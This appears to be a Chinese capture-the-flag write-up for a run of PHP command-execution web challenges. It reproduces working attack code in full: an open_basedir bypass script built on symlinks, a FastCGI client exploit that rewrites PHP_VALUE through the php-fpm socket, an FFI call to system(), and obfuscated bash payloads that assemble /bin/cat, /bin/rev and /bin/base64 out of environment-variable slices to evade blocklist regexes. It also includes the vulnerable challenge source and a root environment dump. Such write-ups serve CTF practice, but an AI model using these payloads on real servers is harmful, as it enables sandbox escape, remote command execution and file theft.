glob 协议读取:c=$it=newDirectoryIterator("glob:///*");foreach($itas$f) {echo$f->getFilename()."\n";}die();

得到flag:c=include('/flagx.txt');die();

web75~不太行

glob://协议读文件名flag36.txt,c=$it = new DirectoryIterator("glob:///*");foreach($it as $f) {echo$f->getFilename()."\n";}die();

接下来就是懵逼时刻了。

p牛的bypass open_basedir脚本:<?php

header('content-type: text/plain');

error_reporting(-1);

ini_set('display_errors', TRUE);

printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());

printf("disable_functions: %s\n", ini_get('disable_functions'));

$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');

$relat_file = getRelativePath(__FILE__, $file);

$paths = explode('/', $file);

$name = mt_rand() % 999;

$exp = getRandStr();

mkdir($name);

chdir($name);

for($i = 1 ; $i < count($paths) - 1 ; $i++){

mkdir($paths[$i]);

chdir($paths[$i]);

}

mkdir($paths[$i]);

for ($i -= 1; $i > 0; $i--) {

chdir('..');

}

$paths = explode('/', $relat_file);

$j = 0;

for ($i = 0; $paths[$i] == '..'; $i++) {

mkdir($name);

chdir($name);

$j++;

}

for ($i = 0; $i <= $j; $i++) {

chdir('..');

}

$tmp = array_fill(0, $j + 1, $name);

symlink(implode('/', $tmp), 'tmplink');

$tmp = array_fill(0, $j, '..');

symlink('tmplink/' . implode('/', $tmp) . $file, $exp);

unlink('tmplink');

mkdir('tmplink');

delfile($name);

$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";

$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";

echo "\n-----------------content---------------\n\n";

echo file_get_contents($exp);

delfile('tmplink');

function getRelativePath($from, $to) {

// some compatibility fixes for Windows paths

$from = rtrim($from, '\/') . '/';

$from = str_replace('\\', '/', $from);

$to = str_replace('\\', '/', $to);

$from = explode('/', $from);

$to = explode('/', $to);

$relPath = $to;

foreach($from as $depth => $dir) {

// find first non-matching dir

if($dir === $to[$depth]) {

// ignore this directory

array_shift($relPath);

} else {

// get number of remaining dirs to $from

$remaining = count($from) - $depth;

if($remaining > 1) {

// add traversals up to first matching dir

$padLength = (count($relPath) + $remaining - 1) * -1;

$relPath = array_pad($relPath, $padLength, '..');

break;

} else {

$relPath[0] = './' . $relPath[0];

}

}

}

return implode('/', $relPath);

}

function delfile($deldir){

if (@is_file($deldir)) {

@chmod($deldir,0777);

return @unlink($deldir);

}else if(@is_dir($deldir)){

if(($mydir = @opendir($deldir)) == NULL) return false;

while(false !== ($file = @readdir($mydir)))

{

$name = File_Str($deldir.'/'.$file);

if(($file!='.') && ($file!='..')){delfile($name);}

}

@closedir($mydir);

@chmod($deldir,0777);

return @rmdir($deldir) ? true : false;

}

}

function File_Str($string)

{

return str_replace('//','/',str_replace('\\','/',$string));

}

function getRandStr($length = 6) {

$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

$randStr = '';

for ($i = 0; $i < $length; $i++) {

$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);

}

return $randStr;

}

不大行 php获取敏感信息的脚本:<?php

printf("System: %s\n",php_uname());

printf("php_version: %s\n",phpversion());

printf("open_basedir: %s\n\n", ini_get('open_basedir'));

printf("disable_functions: %s\n\n", ini_get('disable_functions'));

printf("all_extensions: ");

foreach(get_loaded_extensions() as$key=>$value){

printf("%s ",$value);

}

printf("\n\nENVIRONMENT: ");

foreach(getenv() as$key=>$value){

printf("\n\n%s=%s",$key,$value);

}

foreach(ini_get_all() as$key=>$value){

printf("\n\n%s ==> %s",$key,$value["local_value"]);

}

exit();

攻击fastcgi exp:<?php

class TimedOutException extends Exception {

}

class ForbiddenException extends Exception {

}

class Client {

const VERSION_1 = 1;

const BEGIN_REQUEST = 1;

const ABORT_REQUEST = 2;

const END_REQUEST = 3;

const PARAMS = 4;

const STDIN = 5;

const STDOUT = 6;

const STDERR = 7;

const DATA = 8;

const GET_VALUES = 9;

const GET_VALUES_RESULT = 10;

const UNKNOWN_TYPE = 11;

const MAXTYPE = self::UNKNOWN_TYPE;

const RESPONDER = 1;

const AUTHORIZER = 2;

const FILTER = 3;

const REQUEST_COMPLETE = 0;

const CANT_MPX_CONN = 1;

const OVERLOADED = 2;

const UNKNOWN_ROLE = 3;

const MAX_CONNS = 'MAX_CONNS';

const MAX_REQS = 'MAX_REQS';

const MPXS_CONNS = 'MPXS_CONNS';

const HEADER_LEN = 8;

const REQ_STATE_WRITTEN = 1;

const REQ_STATE_OK = 2;

const REQ_STATE_ERR = 3;

const REQ_STATE_TIMED_OUT = 4;

private $_sock = null;

private $_host = null;

private $_port = null;

private $_keepAlive = false;

private $_requests = array();

private $_persistentSocket = false;

private $_connectTimeout = 5000;

private $_readWriteTimeout = 5000;

public function __construct( $host, $port ) {

$this->_host = $host;

$this->_port = $port;

}

public function setKeepAlive( $b ) {

$this->_keepAlive = (boolean) $b;

if ( ! $this->_keepAlive && $this->_sock ) {

fclose( $this->_sock );

}

}

public function getKeepAlive() {

return $this->_keepAlive;

}

public function setPersistentSocket( $b ) {

$was_persistent = ( $this->_sock && $this->_persistentSocket );

$this->_persistentSocket = (boolean) $b;

if ( ! $this->_persistentSocket && $was_persistent ) {

fclose( $this->_sock );

}

}

public function getPersistentSocket() {

return $this->_persistentSocket;

}

public function setConnectTimeout( $timeoutMs ) {

$this->_connectTimeout = $timeoutMs;

}

public function getConnectTimeout() {

return $this->_connectTimeout;

}

public function setReadWriteTimeout( $timeoutMs ) {

$this->_readWriteTimeout = $timeoutMs;

$this->set_ms_timeout( $this->_readWriteTimeout );

}

public function getReadWriteTimeout() {

return $this->_readWriteTimeout;

}

private function set_ms_timeout( $timeoutMs ) {

if ( ! $this->_sock ) {

return false;

}

return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );

}

private function connect() {

if ( ! $this->_sock ) {

if ( $this->_persistentSocket ) {

$this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );

} else {

$this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );

}

if ( ! $this->_sock ) {

throw new Exception( 'Unable to connect to FastCGI application: ' . $errstr );

}

if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {

throw new Exception( 'Unable to set timeout on socket' );

}

}

}

private function buildPacket( $type, $content, $requestId = 1 ) {

$clen = strlen( $content );

return chr( self::VERSION_1 ) /* version */

. chr( $type ) /* type */

. chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */

. chr( $requestId & 0xFF ) /* requestIdB0 */

. chr( ( $clen >> 8 ) & 0xFF ) /* contentLengthB1 */

. chr( $clen & 0xFF ) /* contentLengthB0 */

. chr( 0 ) /* paddingLength */

. chr( 0 ) /* reserved */

. $content; /* content */

}

private function buildNvpair( $name, $value ) {

$nlen = strlen( $name );

$vlen = strlen( $value );

if ( $nlen < 128 ) {

/* nameLengthB0 */

$nvpair = chr( $nlen );

} else {

/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */

$nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );

}

if ( $vlen < 128 ) {

/* valueLengthB0 */

$nvpair .= chr( $vlen );

} else {

/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */

$nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );

}

/* nameData & valueData */

return $nvpair . $name . $value;

}

private function readNvpair( $data, $length = null ) {

$array = array();

if ( $length === null ) {

$length = strlen( $data );

}

$p = 0;

while ( $p != $length ) {

$nlen = ord( $data{$p ++} );

if ( $nlen >= 128 ) {

$nlen = ( $nlen & 0x7F << 24 );

$nlen |= ( ord( $data{$p ++} ) << 16 );

$nlen |= ( ord( $data{$p ++} ) << 8 );

$nlen |= ( ord( $data{$p ++} ) );

}

$vlen = ord( $data{$p ++} );

if ( $vlen >= 128 ) {

$vlen = ( $nlen & 0x7F << 24 );

$vlen |= ( ord( $data{$p ++} ) << 16 );

$vlen |= ( ord( $data{$p ++} ) << 8 );

$vlen |= ( ord( $data{$p ++} ) );

}

$array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );

$p += ( $nlen + $vlen );

}

return $array;

}

private function decodePacketHeader( $data ) {

$ret = array();

$ret['version'] = ord( $data{0} );

$ret['type'] = ord( $data{1} );

$ret['requestId'] = ( ord( $data{2} ) << 8 ) + ord( $data{3} );

$ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );

$ret['paddingLength'] = ord( $data{6} );

$ret['reserved'] = ord( $data{7} );

return $ret;

}

private function readPacket() {

if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {

$resp = $this->decodePacketHeader( $packet );

$resp['content'] = '';

if ( $resp['contentLength'] ) {

$len = $resp['contentLength'];

while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {

$len -= strlen( $buf );

$resp['content'] .= $buf;

}

}

if ( $resp['paddingLength'] ) {

$buf = fread( $this->_sock, $resp['paddingLength'] );

}

return $resp;

} else {

return false;

}

}

public function getValues( array $requestedInfo ) {

$this->connect();

$request = '';

foreach ( $requestedInfo as $info ) {

$request .= $this->buildNvpair( $info, '' );

}

fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );

$resp = $this->readPacket();

if ( $resp['type'] == self::GET_VALUES_RESULT ) {

return $this->readNvpair( $resp['content'], $resp['length'] );

} else {

throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );

}

}

public function request( array $params, $stdin ) {

$id = $this->async_request( $params, $stdin );

return $this->wait_for_response( $id );

}

public function async_request( array $params, $stdin ) {

$this->connect();

// Pick random number between 1 and max 16 bit unsigned int 65535

$id = mt_rand( 1, ( 1 << 16 ) - 1 );

// Using persistent sockets implies you want them keept alive by server!

$keepAlive = intval( $this->_keepAlive || $this->_persistentSocket );

$request = $this->buildPacket( self::BEGIN_REQUEST

, chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )

, $id

);

$paramsRequest = '';

foreach ( $params as $key => $value ) {

$paramsRequest .= $this->buildNvpair( $key, $value, $id );

}

if ( $paramsRequest ) {

$request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );

}

$request .= $this->buildPacket( self::PARAMS, '', $id );

if ( $stdin ) {

$request .= $this->buildPacket( self::STDIN, $stdin, $id );

}

$request .= $this->buildPacket( self::STDIN, '', $id );

if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {

$info = stream_get_meta_data( $this->_sock );

if ( $info['timed_out'] ) {

throw new TimedOutException( 'Write timed out' );

}

// Broken pipe, tear down so future requests might succeed

fclose( $this->_sock );

throw new Exception( 'Failed to write request to socket' );

}

$this->_requests[ $id ] = array(

'state' => self::REQ_STATE_WRITTEN,

'response' => null

);

return $id;

}

public function wait_for_response( $requestId, $timeoutMs = 0 ) {

if ( ! isset( $this->_requests[ $requestId ] ) ) {

throw new Exception( 'Invalid request id given' );

}

if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK

|| $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR

) {

return $this->_requests[ $requestId ]['response'];

}

if ( $timeoutMs > 0 ) {

// Reset timeout on socket for now

$this->set_ms_timeout( $timeoutMs );

} else {

$timeoutMs = $this->_readWriteTimeout;

}

$startTime = microtime( true );

do {

$resp = $this->readPacket();

if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {

if ( $resp['type'] == self::STDERR ) {

$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;

}

$this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];

}

if ( $resp['type'] == self::END_REQUEST ) {

$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;

if ( $resp['requestId'] == $requestId ) {

break;

}

}

if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {

// Reset

$this->set_ms_timeout( $this->_readWriteTimeout );

throw new Exception( 'Timed out' );

}

} while ( $resp );

if ( ! is_array( $resp ) ) {

$info = stream_get_meta_data( $this->_sock );

// We must reset timeout but it must be AFTER we get info

$this->set_ms_timeout( $this->_readWriteTimeout );

if ( $info['timed_out'] ) {

throw new TimedOutException( 'Read timed out' );

}

if ( $info['unread_bytes'] == 0

&& $info['blocked']

&& $info['eof'] ) {

throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );

}

throw new Exception( 'Read failed' );

}

// Reset timeout

$this->set_ms_timeout( $this->_readWriteTimeout );

switch ( ord( $resp['content']{4} ) ) {

case self::CANT_MPX_CONN:

throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' );

break;

case self::OVERLOADED:

throw new Exception( 'New request rejected; too busy [OVERLOADED]' );

break;

case self::UNKNOWN_ROLE:

throw new Exception( 'Role value not known [UNKNOWN_ROLE]' );

break;

case self::REQUEST_COMPLETE:

return $this->_requests[ $requestId ]['response'];

}

}

}

$client = new Client("unix:///tmp/php-cgi-74.sock", -1);

$php_value = "open_basedir = /";

$filepath = '/tmp/readflag.php';

$content = 'hpdoger';

echo $client->request(

array(

'GATEWAY_INTERFACE' => 'FastCGI/1.0',

'REQUEST_METHOD' => 'POST',

'SCRIPT_FILENAME' => $filepath,

'SERVER_SOFTWARE' => 'php/fcgiclient',

'REMOTE_ADDR' => '127.0.0.1',

'REMOTE_PORT' => '9985',

'SERVER_ADDR' => '127.0.0.1',

'SERVER_PORT' => '80',

'SERVER_NAME' => 'mag-tured',

'SERVER_PROTOCOL' => 'HTTP/1.1',

'CONTENT_TYPE' => 'application/x-www-form-urlencoded',

'CONTENT_LENGTH' => strlen( $content ),

'PHP_VALUE' => $php_value,

),

$content

);

可以用下面代码判断php以什么运行:<?phpechophp_sapi_name ();exit();

下面这段代码可以建立sock连接<?php

$fp=fsockopen("www.example.com", 80, $errno, $errstr, 30);

if(!$fp) {

echo"$errstr($errno)
\n";

} else{

$out="GET / HTTP/1.1\r\n";

$out.="Host: www.example.com\r\n";

$out.="Connection: Close\r\n\r\n";

fwrite($fp, $out);

while(!feof($fp)) {

echofread($fp, 128);

}

fclose($fp);

}

?>

web76

web77php7.4,基本上命令执行就告一段落了

提示说php7.4 立马想到FFI

payload:$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象

$a='/readflag > 1.txt';//没有回显的

$ffi->system($a);//通过$ffi去调用system函数

web118~linux系统变量

有过滤,fuzz 了一下

7f284bdb0669bb902f2fc826227e2805.png

发现大写字母 _ @ # $ ~ ; . ?等没被过滤。环境变量一般是指用来指定操作系统运行环境的一些参数,比如临时文件夹的位置和系统文件夹位置等。

我们会经常使用一些Linux下操作指令,如ls,ps等。这些命令我们在任何一个目录下都能够执行。其实这些命令不过是一个个可执行程序,一般存放在/bin或/usr/bin目录下。你有没有思考过当我们执行这些指令的时候,操作系统是怎么找到他们的呢?

其实操作系统能够找到这些指令都要归功于,系统中的环境变量PATH。PATH环境变量中就记录了这些文件所在的路径,当我们使用以上命令的时候,PATH环境变量就把指令的路径提交给shell,Linux操作系统就是通过搜索PATH环境变量从而找到这些命令的。

可以使用env命令来查看我们linux 环境变量的设置。

如图:

22bcfa1f2ca3276ca579e5ba3783cb2e.png

sroot@ecs-sn3-medium-2-win-20191202181542:~# env

LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:

SSH_CONNECTION=1.68.96.182 25650 192.168.0.196 22

LESSCLOSE=/usr/bin/lesspipe %s %s

LANG=en_US.UTF-8

DISPLAY=localhost:10.0

HISTTIMEFORMAT=%F %T root

XDG_SESSION_ID=11226

USER=root

PWD=/root

HOME=/root

SSH_CLIENT=1.68.96.182 25650 22

XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop

SSH_TTY=/dev/pts/0

MAIL=/var/mail/root

TERM=xterm

SHELL=/bin/bash

SHLVL=1

LOGNAME=root

XDG_RUNTIME_DIR=/run/user/0

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

HISTSIZE=1000

LESSOPEN=| /usr/bin/lesspipe %s

_=/usr/bin/env环境变量的格式环境变量名=内容1:内容2 //环境变量名一般大写,多个内容用":"隔开,且等号两边不能有空格

查看环境变量名的内容,可以使用指令:“echo $环境变量名”

example:echo $PATH

环境变量的添加

添加环境变量使用指令export,分为临时添加和永久添加临时添加

临时添加只对当前的终端有效,如果当前终端关闭,则添加的环境变量接不存在了。

比如我们本地编写一个hello.c的文档,然后用gcc编译成hello可执行文件。如果我们想在任何目录下都可以执行该文件,则只需要将其添加到环境变量中去。

@export PATH=:$PATH

此处如果不加":$PATH",则PATH环境变量以前的内容就被覆盖掉了,加上这个表示我们仍引用它之前的内容,只不过再添加上我们的新内容罢了。

永久添加

在Linux系统中,有些文件在系统启动的时候或用户登录的时候会自动执行。例如/etc/profile,这是一个Shell脚本文件,任何用户登录的时候都会执行。

所以,只要我们将环境变量添加到/etc/profile中,这样在任何时候环境变量都有效。

开始做题。上边题目小写字母和数字都被过滤了。但是我们还可以使用大写字母、$ 、冒号。

而linux 中环境变量恰好就是大写字母。比如说常见的 PATH 变量。root@ecs-sn3-medium-2-win-20191202181542:~# echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

我们还可以echo ${PATH:1:1}会得到 字符u.

为什么呢?

$PATH是一串字符串,冲0 开始,取 1 位置也就是第2位字符开始取一位。

但是字母被过滤了就很难受。

我们还有一种方法,取 linux 变量代表字符串的长度,就可以构成我们的变量了。

比如说echo ${#PATH}会得到 98 . 那么我们就可以使用env命令输出的变量中的环境变量选择一个合适的 取其长度 再结合$PATH构造我们字符 getshell .

比如说我们想构造ls

原本可以通过${PATH:5:1}${PATH:11:1}构造,但是过滤了数字。

但是还可以这样${PATH:${#TERM}:${#SHLVL}}${PATH:${#LANG}:${#SHLVL}}.$RANDOM是Bash的内部函数(并不是常量), 这个函数将返回一个伪随机[1]整数, 范围在0 - 32767之间. 它*不*应该被用来产生密匙.

所以可以使用 ${#RANDOM} 表示 1 , 2 ,3,4,5 有几率。

还可以:

${PATH:~0}输出变量代表字符串的最后一位,但是我们的数字被过滤了,我们可以使用${PATH:~A},应该是字符等于false等于 0 把,所以可以把最后一位给代表。

${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}}代表nl.

如果想要读取文件的话可以使用 linux 通配符。

payload:${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}}?${PATH:${#RANDOM}:${#SHLVL}}??.???

#其他师傅

${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}}????.???

web119~通配符构造 /bin/cat

环境界面和上题一样,经测试在上题的基础上多过滤了PATH,那么这个系统变量肯定是不能用了。

cat 命令实质上是在/bin/cat那么我们利用其它命令构造他,

题目wp应该是与题目环境即容器名称有关。${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}}????.???

这里$HOSTNAME就各机器都不同。

但是我自己构造的在题目机器上又执行不了。${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#RANDOM}:${#SHLVL}}

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HISTSIZE}:${#SHLVL}}

旨在构造/bin/cat利用通配符/???/??t.

web120~通配符构造 /bin/cat<?php

error_reporting(0);

highlight_file(__FILE__);

if(isset($_POST['code'])){

$code=$_POST['code'];

if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\|\'|\"|\`|\||\,/', $code)){

if(strlen($code)>65){

echo'

'.'you are so long , I dont like '.'
';

}

else{

echo'

'.system($code).'
';

}

}

else{

echo'

evil input
';

}

}

?>

又增加过滤了HOME

自己构造的paylaod在这里不行,显示太长${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${PWD:${RANDOM:~A}}

官方payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

官方wp这里的$USER代表的变量最后一位是a,题目也没提示。。。

这里PWD不是/root,要不然就可以${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${PWD:~A}

web121~通配符构造 /bin/rev<?php

error_reporting(0);

highlight_file(__FILE__);

if(isset($_POST['code'])){

$code=$_POST['code'];

if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\|\'|\"|\`|\||\,/', $code)){

if(strlen($code)>65){

echo'

'.'you are so long , I dont like '.'
';

}

else{

echo'

'.system($code).'
';

}

}

else{

echo'

evil input
';

}

}

?>

有多过滤了几个linux变量.

首先这里 把$SHLVL给 ban 了,那我们就得找其他的 1 个长度的变量。$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

$# 添加到Shell的参数个数

${#?}、${##}都可以代表 1

题目$PWD变量不知又是代表的啥。

题目 wp: 构造 /bin/rev${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

# /???/r??

flag出来之后继续rev 反转一下就可以了。

web122~ 通配符构造/bin/base64<?php

error_reporting(0);

highlight_file(__FILE__);

if(isset($_POST['code'])){

$code=$_POST['code'];

if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){

if(strlen($code)>65){

echo'

'.'you are so long , I dont like '.'
';

}

else{

echo'

'.system($code).'
';

}

}

else{

echo'

evil input
';

}

}

?>

PWD被 ban ,但 可以 HOME

把 #ban 了。之后就不能搞变量长度了。那么就得想出构造数字。通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

错误对照表:

“OS error code 1: Operation not permitted”

“OS error code 2: No such file or directory”

“OS error code 3: No such process”

“OS error code 4: Interrupted system call”

“OS error code 5: Input/output error”

“OS error code 6: No such device or address”

“OS error code 7: Argument list too long”

“OS error code 8: Exec format error”

“OS error code 9: Bad file descriptor”

“OS error code 10: No child processes”

“OS error code 11: Resource temporarily unavailable”

“OS error code 12: Cannot allocate memory”

“OS error code 13: Permission denied”

“OS error code 14: Bad address”

“OS error code 15: Block device required”

“OS error code 16: Device or resource busy”

“OS error code 17: File exists”

“OS error code 18: Invalid cross-device link”

“OS error code 19: No such device”

“OS error code 20: Not a directory”

“OS error code 21: Is a directory”

“OS error code 22: Invalid argument”

“OS error code 23: Too many open files in system”

“OS error code 24: Too many open files”

“OS error code 25: Inappropriate ioctl for device”

“OS error code 26: Text file busy”

“OS error code 27: File too large”

“OS error code 28: No space left on device”

“OS error code 29: Illegal seek”

“OS error code 30: Read-only file system”

“OS error code 31: Too many links”

“OS error code 32: Broken pipe”

“OS error code 33: Numerical argument out of domain”

“OS error code 34: Numerical result out of range”

“OS error code 35: Resource deadlock avoided”

“OS error code 36: File name too long”

“OS error code 37: No locks available”

“OS error code 38: Function not implemented”

“OS error code 39: Directory not empty”

“OS error code 40: Too many levels of symbolic links”

“OS error code 42: No message of desired type”

“OS error code 43: Identifier removed”

“OS error code 44: Channel number out of range”

“OS error code 45: Level 2 not synchronized”

“OS error code 46: Level 3 halted”

“OS error code 47: Level 3 reset”

“OS error code 48: Link number out of range”

“OS error code 49: Protocol driver not attached”

“OS error code 50: No CSI structure available”

“OS error code 51: Level 2 halted”

“OS error code 52: Invalid exchange”

“OS error code 53: Invalid request descriptor”

“OS error code 54: Exchange full”

“OS error code 55: No anode”

“OS error code 56: Invalid request code”

“OS error code 57: Invalid slot”

“OS error code 59: Bad font file format”

“OS error code 60: Device not a stream”

“OS error code 61: No data available”

“OS error code 62: Timer expired”

“OS error code 63: Out of streams resources”

“OS error code 64: Machine is not on the network”

“OS error code 65: Package not installed”

“OS error code 66: Object is remote”

“OS error code 67: Link has been severed”

“OS error code 68: Advertise error”

“OS error code 69: Srmount error”

“OS error code 70: Communication error on send”

“OS error code 71: Protocol error”

“OS error code 72: Multihop attempted”

“OS error code 73: RFS specific error”

“OS error code 74: Bad message”

“OS error code 75: Value too large for defined data type”

“OS error code 76: Name not unique on network”

“OS error code 77: File descriptor in bad state”

“OS error code 78: Remote address changed”

“OS error code 79: Can not access a needed shared library”

“OS error code 80: Accessing a corrupted shared library”

“OS error code 81: .lib section in a.out corrupted”

“OS error code 82: Attempting to link in too many shared libraries”

“OS error code 83: Cannot exec a shared library directly”

“OS error code 84: Invalid or incomplete multibyte or wide character”

“OS error code 85: Interrupted system call should be restarted”

“OS error code 86: Streams pipe error”

“OS error code 87: Too many users”

“OS error code 88: Socket operation on non-socket”

“OS error code 89: Destination address required”

“OS error code 90: Message too long”

“OS error code 91: Protocol wrong type for socket”

“OS error code 92: Protocol not available”

“OS error code 93: Protocol not supported”

“OS error code 94: Socket type not supported”

“OS error code 95: Operation not supported”

“OS error code 96: Protocol family not supported”

“OS error code 97: Address family not supported by protocol”

“OS error code 98: Address already in use”

“OS error code 99: Cannot assign requested address”

“OS error code 100: Network is down”

“OS error code 101: Network is unreachable”

“OS error code 102: Network dropped connection on reset”

“OS error code 103: Software caused connection abort”

“OS error code 104: Connection reset by peer”

“OS error code 105: No buffer space available”

“OS error code 106: Transport endpoint is already connected”

“OS error code 107: Transport endpoint is not connected”

“OS error code 108: Cannot send after transport endpoint shutdown”

“OS error code 109: Too many references: cannot splice”

“OS error code 110: Connection timed out”

“OS error code 111: Connection refused”

“OS error code 112: Host is down”

“OS error code 113: No route to host”

“OS error code 114: Operation already in progress”

“OS error code 115: Operation now in progress”

“OS error code 116: Stale NFS file handle”

“OS error code 117: Structure needs cleaning”

“OS error code 118: Not a XENIX named type file”

“OS error code 119: No XENIX semaphores available”

“OS error code 120: Is a named type file”

“OS error code 121: Remote I/O error”

“OS error code 122: Disk quota exceeded”

“OS error code 123: No medium found”

“OS error code 124: Wrong medium type”

“OS error code 125: Operation canceled”

“OS error code 126: Required key not available”

“OS error code 127: Key has expired”

“OS error code 128: Key has been revoked”

“OS error code 129: Key was rejected by service”

“OS error code 130: Owner died”

“OS error code 131: State not recoverable”

“MySQL error code 132: Old database file”

“MySQL error code 133: No record read before update”

“MySQL error code 134: Record was already deleted (or record file crashed)”

“MySQL error code 135: No more room in record file”

“MySQL error code 136: No more room in index file”

“MySQL error code 137: No more records (read after end of file)”

“MySQL error code 138: Unsupported extension used for table”

